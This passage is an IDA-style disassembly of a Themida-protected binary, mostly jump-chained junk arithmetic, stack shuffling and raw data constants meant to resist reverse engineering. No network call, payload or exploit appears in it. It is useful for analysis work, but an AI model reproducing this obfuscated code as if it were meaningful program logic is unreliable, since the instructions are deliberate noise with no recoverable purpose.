[esp], ebx mov ebx, 1Ch push edi mov edi, 79EE225Ch sub ebx, edi pop edi push 7C10h mov [esp], ecx mov ecx, 0DB50BC9h jmp loc_51E4C7 ; --------------------------------------------------------------------------- dw 0CE68h dd 0E933C416h, 102BCh, 51242C8Bh, 0C181E189h, 4, 12DF5E9h dd 0C2295800h, 0FE1BE9h, 0F7EB8100h, 59149040h, 5C241C87h dd 788D68h, 240C8900h, 17E95954h, 0FE000125h, 25EB80CBh dd 0D771E9h, 2D39BE00h, 0E6C12C02h, 0FFDE904h, 8B580000h dd 0C4832414h, 0D9305804h, 241C8B66h, 2C481h, 0CB280000h dd 592434FFh, 4C481h, 98E90000h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_50CA17: ; CODE XREF: Themida_:0051EC62j add edx, esi jmp loc_51F212 ; --------------------------------------------------------------------------- loc_50CA1E: ; CODE XREF: Themida_:00515ECEj mov al, 3Ch mov bl, 0D9h add bl, al mov eax, [esp] add esp, 4 jmp loc_51F8F7 ; --------------------------------------------------------------------------- a@sf db '@锱',0 db 0 ; --------------------------------------------------------------------------- loc_50CA35: ; CODE XREF: Themida_:00520057j pop esp jmp loc_50C50E ; --------------------------------------------------------------------------- db 1 aVUxVsa7 db 'VXvA7',0 align 4 aWsC db 'Wc',0 align 2 dw 1487h aPXKSW db '$\P)k$|W',0 dd 120CBA00h, 0A7E908A2h, 0FF00011Dh, 34FF2434h, 54565824h dd 4EC815Eh, 89000000h, 0B850243Ch, 95C1Dh, 95C1935h, 8BC78900h dd 0C4812404h, 4, 0EB26E9h, 0E9E90100h, 219Ah, 0F7EF875Fh dd 0E9EF87D5h, 8E3Fh ; --------------------------------------------------------------------------- loc_50CAA8: ; CODE XREF: Themida_:0051C784j pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_50B5E5 ; --------------------------------------------------------------------------- loc_50CAB6: ; CODE XREF: Themida_:00516085j sub bl, 0B0h add bl, 0C8h jmp loc_515C05 ; --------------------------------------------------------------------------- db 58h, 81h, 0C5h dd 4, 0E9242C87h, 5148h, 34518ABDh, 0E0C6E97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_50CADA: ; CODE XREF: Themida_:0050C713j mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_510F0F ; --------------------------------------------------------------------------- dw 0F901h dd 0E9CF015Fh, 4D1h, 3633EE81h, 0E4E9B115h db 0FCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CAFF: ; CODE XREF: Themida_:00519549j xor [esp], ebx jmp loc_510E79 ; --------------------------------------------------------------------------- loc_50CB07: ; CODE XREF: Themida_:00518699j pop edi pop ebp jmp loc_51C13F ; --------------------------------------------------------------------------- loc_50CB0E: ; CODE XREF: Themida_:00515EBBj mov ebx, 62137B5Ch sub ebx, 5148FCDFh sub ebp, ebx pop ebx shr ebp, 6 push 675Eh mov [esp], edx mov edx, 1839B08h jmp loc_5137B5 ; --------------------------------------------------------------------------- loc_50CB31: ; CODE XREF: Themida_:00517260j mov [esp], ecx mov ecx, 44055DC6h jmp loc_5184B0 ; --------------------------------------------------------------------------- dw 0D366h dd 0E99C2404h, 0FFFFEF21h, 5FF56CBAh, 0FFD701FEh, 86E92434h dd 5F000094h, 0F681FE87h, 521042Ah, 0C15EF331h, 0C38106EBh dd 2190C19Eh, 2185C281h, 0DA0138C2h, 2185EA81h, 0E95B38C2h dd 0B1ACh, 45E9C329h db 25h, 1, 0 ; --------------------------------------------------------------------------- loc_50CB87: ; CODE XREF: Themida_:0051A85Aj pop esi push eax mov eax, 2141024Dh shl eax, 6 push esi mov esi, 74F4252Ch jmp loc_515670 ; --------------------------------------------------------------------------- loc_50CB9C: ; CODE XREF: Themida_:0050D3ABj xor [esp], ebx xor ebx, [esp] pop esp movzx ax, byte ptr [eax] push 434h mov [esp], ebp push esp pop ebp add ebp, 4 push eax push ebp jmp loc_5116C6 ; --------------------------------------------------------------------------- loc_50CBBE: ; CODE XREF: Themida_:0051D7EDj pop esp jmp loc_5100ED ; --------------------------------------------------------------------------- dd 0FE08E2C0h, 0BD30E9CAh, 0C870000h, 0EE815C24h, 59520015h dd 26DEE95Dh, 0E1890001h, 7D1CBF57h, 0D7F77564h, 8103EFC1h dd 7514FEE7h, 5E7C10Eh, 0B84F781h, 0C7E90A22h db 0E3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CBFF: ; CODE XREF: Themida_:00520792j not edx add edx, 0F7F7D7ECh jmp loc_520DDE ; --------------------------------------------------------------------------- loc_50CC0C: ; CODE XREF: Themida_:0050E034j add ebp, 0E4F80F90h sub ecx, ebp pop ebp add esi, 4A5D7469h jmp loc_51FD1A ; --------------------------------------------------------------------------- loc_50CC20: ; CODE XREF: Themida_:00519652j push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_51442E ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0C4733DBFh, 80CF8146h, 8167A538h, 140F55EFh, 5FECE959h dd 0BA520000h, 359C6F3Bh, 148BD521h, 4C48324h, 2E46CD81h dd 0BE561DA7h, 78210689h, 279EE81h, 0D4E978BCh db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CC6B: ; CODE XREF: Themida_:00511899j pop ecx push ecx sub esp, 4 jmp loc_511CC2 ; --------------------------------------------------------------------------- loc_50CC75: ; CODE XREF: Themida_:0050BDA3j pop esp jmp loc_5184C7 ; --------------------------------------------------------------------------- loc_50CC7B: ; CODE XREF: Themida_:0050B91Dj xor ecx, 3081B4FBh xor ecx, 0BC5584Eh push ebp mov ebp, 1CB42129h add ecx, ebp pop ebp jmp loc_51C4B0 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2A6EEB81h, 5050625h, 2903576Ah, 5B951D8h, 2D03576Ah dd 5CF642ABh, 0AB05C829h, 595CF642h, 106BBE9h, 24143000h dd 138A6866h, 24048966h, 8853E888h, 5BFD88D7h, 71A1E9h dd 0C1815B00h, 2C610E06h, 0E959CA01h, 0C1F0h, 68240C89h dd 0A7Ch, 68243489h, 4B2C6265h, 13D32E9h, 4C68100h, 87000000h dd 295C2434h, 615B305Ah, 0D6E9C39Dh, 89FFFFE8h, 243C8BFAh dd 4C481h, 0F2810000h, 2F634Eh, 6E98CA81h, 0F2810103h dd 1C466FCBh, 0FEF1C281h, 0D101F606h, 74FF515Ah, 8F590424h dd 835C2404h, 0C8904ECh, 80D5B124h, 0E95200E1h, 6E9Bh dd 0C15FFE29h, 0C68107EEh, 3A51B26Dh, 0F002E9h db 0 ; --------------------------------------------------------------------------- loc_50CD61: ; CODE XREF: Themida_:0050DFFCj pop edi jmp loc_5165B3 ; --------------------------------------------------------------------------- db 0FEh dd 2E0C0C0h, 0C004B151h, 736808E1h, 89000079h, 0EFB3241Ch dd 0E988EB80h, 14281h, 29A8E95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_50CD8A: ; CODE XREF: Themida_:0050DBA5j sub ecx, ebx pop ebx add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 81h dd 0D0082444h, 0E904D732h, 1417Eh, 3C8BF989h, 4C48124h dd 53000000h, 331441BBh, 1E9E3h db 1, 0 ; --------------------------------------------------------------------------- loc_50CDBE: ; CODE XREF: Themida_:00511533j pop eax jmp loc_513C85 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 14D25966h, 12E99C24h db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CDD3: ; CODE XREF: Themida_:00517635j mov edi, esp jmp loc_51D0A3 ; --------------------------------------------------------------------------- loc_50CDDA: ; CODE XREF: Themida_:005114E8j mov eax, 220D4664h push ecx mov ecx, 56EA28D3h add eax, ecx pop ecx sub eax, 69165ACh sub eax, ebp jmp loc_50E8F0 ; --------------------------------------------------------------------------- loc_50CDF4: ; CODE XREF: Themida_:00517F6Fj add ebp, 6B1A39FAh dec ebp jmp loc_510D25 ; --------------------------------------------------------------------------- loc_50CE00: ; CODE XREF: Themida_:00514B57j push 7B3Ah mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov eax, [esp] jmp loc_50DD17 ; --------------------------------------------------------------------------- dw 48Fh dd 17E95C24h, 88FFFFFDh, 88D6F6CEh, 0FAE2E9F1h, 315C0000h dd 0BE565DEAh, 6D3E4294h, 15EF329h, 94C381D3h, 8B6D3E42h dd 0C4812414h, 4, 21D768h, 24048900h, 2B8h, 0DAC38100h dd 0E908DC6Dh, 45C1h ; --------------------------------------------------------------------------- loc_50CE68: ; CODE XREF: Themida_:0050F4E2j mov [esp], ebp jmp loc_5206CD ; --------------------------------------------------------------------------- dd 0BB53E589h, 4, 18E9DD01h db 0Bh, 1, 0 ; --------------------------------------------------------------------------- loc_50CE7F: ; CODE XREF: Themida_:0051691Fj sub ebx, 0C6A61FEAh or ecx, ebx mov ebx, [esp] jmp loc_5144F2 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24348B00h, 2BD9E9h db 0 ; --------------------------------------------------------------------------- loc_50CE9D: ; CODE XREF: Themida_:0051955Fj mov bl, 6 xor cl, bl pop bx push edx mov dh, cl not dh mov cl, dh pop edx push 76h mov [esp], eax mov ah, 23h sub ah, 0FFh jmp loc_50EB25 ; --------------------------------------------------------------------------- loc_50CEBD: ; CODE XREF: Themida_:00519685j push 5AB4h mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_51F06E ; --------------------------------------------------------------------------- loc_50CEDD: ; CODE XREF: Themida_:0051487Fj add esp, 4 add edx, 4 sub edx, 4 push 3478h mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx not dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_50DF6D ; --------------------------------------------------------------------------- db 0BDh dd 4, 9F41E9h, 0C8B6600h, 800E924h, 5580001h, 8AD09CC3h dd 48BC531h, 4C48324h, 75FEE9h db 0 ; --------------------------------------------------------------------------- loc_50CF41: ; CODE XREF: Themida_:00520929j add esp, 4 add edi, 4 push eax jmp loc_5114E2 ; --------------------------------------------------------------------------- db 29h dd 0EF815EF5h, 5F5964D4h, 0DED6E9h, 3C77FF00h, 0C8E7E9h db 0 ; --------------------------------------------------------------------------- loc_50CF69: ; CODE XREF: Themida_:0051D4F4j push ecx push 2800h mov [esp], esp add dword ptr [esp], 4 pop ecx push edi push eax push 388738F2h pop eax add eax, 5BAF32E4h xor eax, 23E95A62h shr eax, 1 add eax, 0A410672Ah jmp loc_51FC69 ; --------------------------------------------------------------------------- loc_50CF98: ; CODE XREF: Themida_:0051782Dj shr ecx, 8 add ecx, 0FF8468A3h add eax, ecx jmp loc_50F443 ; --------------------------------------------------------------------------- dd 247C2966h, 665F6604h, 83243C8Bh, 2AE902C4h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50CFBB: ; CODE XREF: Themida_:0050E363j push 60F5h jmp loc_51250C ; --------------------------------------------------------------------------- aYhoj db 'YhJ',0 dw 0E900h dd 420Fh, 8A242428h, 0C4832424h, 0E9CCFE02h, 0EF1Ch ; --------------------------------------------------------------------------- loc_50CFE0: ; CODE XREF: Themida_:005137B0j push ecx jmp loc_51689F ; --------------------------------------------------------------------------- dw 0C131h dd 0CEBB5358h, 50D213Ch, 0DC84A3Ch, 32E9D829h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50CFFB: ; CODE XREF: Themida_:0051380Bj mov [esp], dx push ax pushf jmp loc_51EF8A ; --------------------------------------------------------------------------- aSc db '\',7,0 dd 0C8B6600h, 3E556824h, 26E90000h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D01B: ; CODE XREF: Themida_:0050F94Ej mov [esp], esi push edi mov edi, 20DA64FBh add edi, 7E1430DAh shr edi, 3 add edi, 63856ACFh add edi, 9030D6F3h mov esi, edi pop edi push ecx push edx push 714B2676h mov edx, [esp] add esp, 4 push edi mov edi, 7882FF3h jmp loc_520526 ; --------------------------------------------------------------------------- db 55h dd 7201B4BDh, 761BBB59h, 0EB313149h, 5BDE015Dh, 10386E9h dd 34335A00h, 154CE924h db 1, 0 ; --------------------------------------------------------------------------- loc_50D076: ; CODE XREF: Themida_:0051C67Dj shl edx, 1 jmp loc_518411 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 974B08EFh, 0E9FB0180h, 943Fh ; --------------------------------------------------------------------------- loc_50D08C: ; CODE XREF: Themida_:0051F987j jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 83h, 0C7h, 1 dd 2766BE56h, 0EED15E4Ch, 31F6E681h, 60E9561Bh, 0C9h, 66F42CD8h dd 0E92ED768h, 1E0Fh, 24048B66h, 105FEE9h, 18E36800h, 8F540000h dd 4832404h, 575B0424h, 4BFh, 0EF24E900h, 1C8B0000h, 4C48324h dd 5A66D328h, 0D3F6EBD0h, 0FFF8F2E9h, 4C281FFh, 81000000h dd 4C2h, 74FF5200h, 8F5A0424h, 0DE92404h, 5800004Ah, 0B38B951h dd 90E90B36h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50D10F: ; CODE XREF: Themida_:005114DDj add esp, 4 add ebx, 4 push ebp push edi jmp loc_517D18 ; --------------------------------------------------------------------------- db 0FFh dd 5B042474h, 5C24048Fh, 8904EC83h, 17B9240Ch, 0F775FF6Dh dd 0EDF181D9h, 0E98A0092h, 0C07Ah, 8B241C33h, 0C892424h dd 0BF575224h, 74A86CBEh, 4F03E7C1h, 0C1D7F74Fh, 90E904E7h dd 8000005Dh, 0E6802AEEh, 0BE3CE903h, 0C6810000h, 3AAC2D50h dd 0EE81C601h, 3AAC2D50h, 132CAE9h, 0E9F1F700h, 5A50h ; --------------------------------------------------------------------------- loc_50D184: ; CODE XREF: Themida_:00513A27j push edx mov edx, ecx mov esi, edx pop edx push dword ptr [esp] pop ecx push ebx mov ebx, esp add ebx, 4 jmp loc_50D944 ; --------------------------------------------------------------------------- dd 89243489h, 0E4E953E6h, 89FFFFEDh, 15A6E9DDh, 0F8290000h dd 7488E9h, 4BF00h, 0ED810000h, 7C54556Eh, 83B95152h, 0BA233243h dd 2DE32FEBh, 2959CA31h, 7447E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D1D6: ; CODE XREF: Themida_:0050FDCCj pop esp sub ebx, 4 jmp loc_516011 ; --------------------------------------------------------------------------- dw 0F680h dd 5AF32865h, 82E9DD88h, 83000050h, 0D82904C4h, 4895BD55h dd 0EDC157E8h, 59C58107h, 13E6546h, 3E50E9E8h, 59660000h dd 4761E950h, 0E1890000h, 4C181h, 0E9810000h, 4, 0E9240C87h dd 1007Dh, 505205B0h, 0D3E975B4h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_50D233: ; CODE XREF: Themida_:00516ED9j mov edi, 71247B48h jmp loc_50F70E ; --------------------------------------------------------------------------- loc_50D23D: ; CODE XREF: Themida_:0051E047j add ebp, edi sub ebp, 7A90784Dh add ebp, 2B8A4737h sub ebp, 67460418h mov edi, [esp] add esp, 4 jmp loc_515BF7 ; --------------------------------------------------------------------------- db 89h dd 0EC832404h, 24248904h, 0FEC9E9h db 0 ; --------------------------------------------------------------------------- loc_50D26D: ; CODE XREF: Themida_:0050BFF1j push eax pushf jmp loc_514E11 ; --------------------------------------------------------------------------- loc_50D274: ; CODE XREF: Themida_:0050EC31j mov [esp], ebx mov ebx, esi push esi mov esi, ebx mov ebp, esi pop esi pop ebx pop esi add ebx, 11EC3E7Eh add ebx, ebp sub ebx, 11EC3E7Eh pop ebp add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_5173C8 ; --------------------------------------------------------------------------- db 52h, 0BAh, 2Fh dd 0E94DD837h, 11698h ; --------------------------------------------------------------------------- loc_50D2AC: ; CODE XREF: Themida_:0050DE40j jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 0ADh, 2Dh, 1 dd 52CF70Eh, 1DFA5AEEh, 2D8EE9h, 242C8900h, 1F9E68h, 1AE3E900h db 1, 0 ; --------------------------------------------------------------------------- loc_50D2CE: ; CODE XREF: Themida_:0050FDE7j pop esp shr eax, 10h xor eax, ecx push 7E39h mov [esp], edx push esp pop edx push esi mov esi, 4 sub edx, 0BDA4A9Ah push 6744h mov [esp], ebp mov ebp, 2A3705Ch add edx, ebp pop ebp jmp loc_51B1FA ; --------------------------------------------------------------------------- db 83h dd 34FF04C4h, 87B8E924h, 28880000h, 0C8B5B58h, 0E2895224h dd 273D68h, 241C8900h, 0C41FC9BBh, 0E381433Dh, 3B9C5765h dd 173CEB81h, 0DA013984h, 21CD685Bh, 34890000h, 4BE24h dd 1CE90000h, 400004Ch, 622CB7h db 0C8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov bl, 0F0h jmp loc_516799 ; --------------------------------------------------------------------------- db 4 dd 129E9BAh, 348B0001h, 4C48324h, 0E904EB83h, 8022h, 565BD801h dd 2D7FB1BEh, 5EF02933h, 0E9243C8Bh, 0CFB5h, 8102EA83h dd 4ECh, 0CD66E900h, 0A3680000h, 5D305D41h, 0CB52E9h db 0 ; --------------------------------------------------------------------------- loc_50D3A5: ; CODE XREF: Themida_:00517CA5j add esp, 4 xor ebx, [esp] jmp loc_50CB9C ; --------------------------------------------------------------------------- loc_50D3B0: ; CODE XREF: Themida_:00519C39j mov esp, [esp] or edx, eax shl edx, 1 push 4D34h mov [esp], ecx push esi mov esi, 61E8060Ah sub esi, 324ACE70h jmp loc_51538E ; --------------------------------------------------------------------------- loc_50D3D0: ; CODE XREF: Themida_:00515D93j push ecx mov ecx, 4 push edx mov edx, 22F325A2h add edi, edx pop edx jmp loc_51C5B4 ; --------------------------------------------------------------------------- dd 4247401h, 0EC81585Eh, 4, 0BB241C89h, 164A1B45h, 1B41BE56h dd 0B8E9164Ah db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D403: ; CODE XREF: Themida_:0050FE00j sub edi, esi pop esi jmp loc_51071F ; --------------------------------------------------------------------------- dd offset dword_511A68 align 10h dd 0BF243C89h, 6F296DC7h, 0EFC1D7F7h, 8AF78102h, 12435A4h dd 0B8505FFEh, 4, 10005E9h db 0 ; --------------------------------------------------------------------------- loc_50D431: ; CODE XREF: Themida_:00510637j pop ecx jmp loc_50F8BD ; --------------------------------------------------------------------------- loc_50D437: ; CODE XREF: Themida_:0051C308j add esi, 2210419Fh push 7236h mov [esp], esi xor dword ptr [esp], 59BF203Ch pop ebx xor ebx, 59BF203Ch pop esi xor ebx, 427D35DCh push ebx mov ebx, 2B826A8Ch add eax, ebx push dword ptr [esp] jmp loc_513230 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 0D3E90000h, 1FFFFF5h, 0B8EA81C2h, 587C3915h dd 79A3B850h, 0C2295816h, 81C20158h, 1679A3C2h, 5E456858h dd 4890000h, 4FB06824h, 12E900E3h, 0F7FFFFF5h, 57FE87DEh dd 0E92414F7h, 0FFFFF6A3h ; --------------------------------------------------------------------------- loc_50D4B4: ; CODE XREF: Themida_:00511E68j pop eax push edx push 7213h jmp loc_51C603 ; --------------------------------------------------------------------------- loc_50D4C0: ; CODE XREF: Themida_:00512FABj pop ecx xchg esi, [esp] pop esp jmp loc_517E43 ; --------------------------------------------------------------------------- loc_50D4CA: ; CODE XREF: Themida_:0051BBB5j add edi, esi pop esi add edi, 4 xchg edi, [esp] mov esp, [esp] sub eax, 3DBC499Ch sub esp, 4 jmp loc_50B81F ; --------------------------------------------------------------------------- db 87h dd 55C241Ch, 6B8F413Ah, 7EEEE9h db 0 ; --------------------------------------------------------------------------- loc_50D4F1: ; CODE XREF: Themida_:005135A8j pop ebx add ebx, 4CD904A8h sub ebx, 767F788Dh jmp loc_51AB29 ; --------------------------------------------------------------------------- db 89h dd 26BD55E3h, 8130393Fh, 393F22EDh, 0E9EB0130h, 47C8h dd 4C4815Ah, 28000000h, 4EC81D8h, 89000000h, 34E9241Ch dd 1000037h, 11EE9F9h, 0E9510000h, 10DD0h, 0CB71FBBAh dd 14F28164h, 0E96C145Ah, 76ECh, 0F56FC381h, 0DF89C704h dd 0C4CF815Bh, 0E96F4B5Bh, 0FFFFE872h ; --------------------------------------------------------------------------- loc_50D560: ; CODE XREF: Themida_:0051ED76j shl edx, 1 push ebx jmp loc_50FCE6 ; --------------------------------------------------------------------------- loc_50D568: ; CODE XREF: Themida_:0050D964j push 42B0F67h pop ebp add ebp, 681D2860h mov edi, ebp mov ebp, [esp] add esp, 4 or edi, 6AFB785Fh neg edi shr edi, 7 add edi, 22A5F7F7h and eax, edi pop edi push ebx mov ebx, 54630EC8h jmp loc_5158F9 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 2C8904ECh, 2C8B5424h, 8C96E924h, 685B0000h dd 56h, 68241C89h, 2, 50241C8Bh, 0D259E9h, 2DD00100h, 4ACA2CDCh dd 0E924148Bh, 0FFFFE034h, 4C381h, 0C3810000h, 4, 8B241C87h dd 0EC812424h, 4, 0E9241C89h, 7D38h, 5F2434FFh, 0E9E18951h dd 5B7Bh ; --------------------------------------------------------------------------- loc_50D600: ; CODE XREF: Themida_:00514638j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push small word ptr [eax] jmp loc_50ECD0 ; --------------------------------------------------------------------------- loc_50D611: ; CODE XREF: Themida_:00519479j not edi sub edi, 75E2392Fh sub edi, 94829E4h add esi, edi jmp loc_520DE5 ; --------------------------------------------------------------------------- dw 1C89h aS_5 db '$龚',0 align 2 dw 0C9FEh dd 0FFE3C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_50D635: ; CODE XREF: Themida_:0051975Ej mov edi, [esp] add esp, 4 and ecx, edx jmp loc_50D6B4 ; --------------------------------------------------------------------------- aFpsM db 'fPm',0 dd 4C28100h, 0E9000000h, 0F1BAh, 5F2434FFh, 0A0E1E9h, 2685300h dd 0E9000000h, 7E03h ; --------------------------------------------------------------------------- loc_50D668: ; CODE XREF: Themida_:00512AC5j mov esi, [esp] jmp loc_51B16F ; --------------------------------------------------------------------------- dd 53F0015Dh, 99673BBBh, 19B8E93Eh, 0C4810001h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 73E82590h add dword ptr [esp+4], 19AD74FAh sub dword ptr [esp+4], 6BDA7A99h jmp loc_51312D ; --------------------------------------------------------------------------- loc_50D6B4: ; CODE XREF: Themida_:0050D63Dj pop edx jmp loc_519C2E ; --------------------------------------------------------------------------- dw 0E581h dd 49F934D3h, 0F28FED81h, 0F22D13F8h, 162F456h, 0F6B1E9E8h dd 0D3010000h, 36C1BF57h, 0DAE943C0h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50D6DF: ; CODE XREF: Themida_:0051B6C0j sub ebx, 473F0047h push eax push edi push ebp mov ebp, 0ED649FD4h jmp loc_510305 ; --------------------------------------------------------------------------- dw 300Dh dd 35383D78h, 10F53311h, 0E8C1D8F7h, 7B354802h, 0E9086296h dd 0CD53h, 24048155h, 59520015h, 5124348Bh, 0C181E189h dd 4, 0E904C183h, 0FFFFF4A6h ; --------------------------------------------------------------------------- loc_50D728: ; CODE XREF: Themida_:00515239j sub ebx, 4 jmp loc_51DBEB ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 24442904h, 53585804h, 1021A268h, 241C8B7Eh dd 12EA5E9h db 0 ; --------------------------------------------------------------------------- loc_50D74D: ; CODE XREF: Themida_:0050FD0Ej and esi, 7E4C10D5h xor esi, 1A7A579Fh sub esi, 96DA4438h add ebx, esi pop esi add ebx, ecx sub ebx, 719C1396h jmp loc_51CB42 ; --------------------------------------------------------------------------- db 85h dd 6EE99CC8h, 66FFFFDEh, 6824048Bh, 5730h, 34E8E9h, 0E9D5F600h dd 0F585h, 81240C8Bh, 4ECh, 24048900h, 405E089h, 5000000h dd 4, 5C240487h, 60816866h, 24148966h, 0FFEC7DE9h, 24048FFFh dd 0FFF10FE9h db 0FFh ; --------------------------------------------------------------------------- loc_50D7BD: ; CODE XREF: Themida_:0051374Bj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp or eax, eax jz loc_51ECD8 push dword ptr [edi+1Ch] push 4916h mov [esp], edi jmp loc_520680 ; --------------------------------------------------------------------------- loc_50D7E5: ; CODE XREF: Themida_:00518876j pop esp loc_50D7E6: ; CODE XREF: Themida_:0050D8EEj push 1DE4h mov [esp], ebx jmp loc_519DD7 ; --------------------------------------------------------------------------- db 81h dd 18A357C3h, 558F68A5h, 1C890000h, 24348124h, 2F5F7BB8h dd 0B8F6815Eh, 5B2F5F7Bh, 348BF301h, 4C48124h, 51000000h dd 35886855h, 0F75D19C0h, 73ED81D5h, 89E63FCAh, 77C5E9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D832: ; CODE XREF: Themida_:00518793j xor eax, 0E74079A7h and ecx, eax pop eax shr ecx, 0Bh push ebp push 5513h jmp loc_510E9E ; --------------------------------------------------------------------------- loc_50D848: ; CODE XREF: Themida_:0051BB32j neg esi push ebx jmp loc_51D87F ; --------------------------------------------------------------------------- dd 0D5F7EA87h, 0B951EA87h, 6B634DA0h, 19D4E181h, 76E9489Bh dd 0FF00008Fh, 589D1C77h, 9C240411h, 1222EE9h, 4C48300h dd 31243C33h, 3C33243Ch, 24248B24h, 243CD366h, 0E694E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D88E: ; CODE XREF: Themida_:0051DC0Aj push ebp mov ebp, esp jmp loc_515857 ; --------------------------------------------------------------------------- loc_50D896: ; CODE XREF: Themida_:0051E136j pop esp mov [esp], ebx jmp loc_51CB39 ; --------------------------------------------------------------------------- db 68h dd 6822h, 54240C89h, 0B1FDE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50D8AE: ; CODE XREF: Themida_:005172D2j dec eax push edi mov edi, 1A74B70h jmp loc_51A780 ; --------------------------------------------------------------------------- dw 487h aSs_0 db '$\<$',0 db 0 ; --------------------------------------------------------------------------- loc_50D8C7: ; CODE XREF: Themida_:00511AD0j push edi mov edi, 79D74ED9h sub dword ptr [esp+4], 414C2FA3h sub [esp+4], edi add dword ptr [esp+4], 414C2FA3h pop edi pop edx add edx, 79D74ED9h pop eax and [edi+1Ch], edx pop edx jmp loc_50D7E6 ; --------------------------------------------------------------------------- db 0F7h aHU db 'hu',0 align 2 dw 3C89h dd 0C5BBBF24h, 0E3E98435h, 8BFFFFF1h, 57502424h, 9E0B4E68h dd 0EF815F18h, 1, 53DFF74Fh, 9A4585BBh, 81D3F741h, 91013DC3h dd 5AF38117h, 4B4D235Ch, 2364C381h, 0DF017FC8h, 5FF8895Bh dd 0E958C101h, 12CB9h ; --------------------------------------------------------------------------- loc_50D944: ; CODE XREF: Themida_:0050D197j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_516C4B ; --------------------------------------------------------------------------- aSc_0 db '^>',0 align 2 dw 0DEF7h dd offset dword_43BBE4+5 db 0 ; --------------------------------------------------------------------------- loc_50D95D: ; CODE XREF: Themida_:0051CB8Dj sub eax, 1 push edi push ebp jmp loc_50D568 ; --------------------------------------------------------------------------- aUsdq db 'Uq',0 db 0 ; --------------------------------------------------------------------------- loc_50D96F: ; CODE XREF: Themida_:00511005j pop esi pop ecx and eax, esi push dword ptr [esp] pop esi push eax mov eax, esp jmp loc_51A870 ; --------------------------------------------------------------------------- loc_50D97F: ; CODE XREF: Themida_:005124D2j xor dword ptr [esp], 419F76FAh pop ecx push eax mov eax, 22BF3031h jmp loc_5177F6 ; --------------------------------------------------------------------------- dw 0E7C0h dd 1EF8003h, 0C06FE780h, 0EF8002EFh, 5BFE3061h, 0F65AF408h dd 0CCC480DCh, 1AE9E328h, 810000CEh, 851C42F7h, 0E9FA2950h dd 0D966h, 4BFh, 0E9FB0100h, 52D2h, 8ACDC781h, 0D2E9EAE6h db 4, 1, 0 ; --------------------------------------------------------------------------- loc_50D9D7: ; CODE XREF: Themida_:00518EE8j mov ecx, 0FFFFFFFFh jmp loc_50EC3C ; --------------------------------------------------------------------------- loc_50D9E1: ; CODE XREF: Themida_:00510E29j push ebp jmp loc_511B9B ; --------------------------------------------------------------------------- loc_50D9E7: ; CODE XREF: Themida_:00514B6Ej xor [esp], esi jmp loc_512955 ; --------------------------------------------------------------------------- db 81h dd 1C6h, 0F5B85000h, 0E95C7579h, 4A6Ch ; --------------------------------------------------------------------------- loc_50DA00: ; CODE XREF: Themida_:005178E9j mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp not edx add edx, 1 push eax push 0F7BB9064h pop eax xor edx, eax pop eax mov ebp, edx mov edx, [esp] add esp, 4 mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_518B8A ; --------------------------------------------------------------------------- dd 0E903E6C0h, 6CEEh, 0D3E3EA81h, 0D629B00Ch, 8324148Bh dd 0F50104C4h, 0D4EF815Eh, 1666C72h, 0D4C781EFh, 5D666C72h dd 4EC81h, 1C890000h, 2BB24h, 0DF010000h, 243C335Bh, 0E9243C31h dd 51DAh, 68243489h, 0E78h, 24048F54h, 4240483h, 0BA52575Eh dd 0DFB3B90h, 0FB3B94BFh, 5AD7310Dh, 34FFFE01h, 243C8B24h dd 5604C483h, 0C681E689h, 4, 65666857h, 3C8B69C1h, 5840E924h dd 21660000h, 0E99C2404h, 0FFFFDB15h, 158FE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50DAD6: ; CODE XREF: 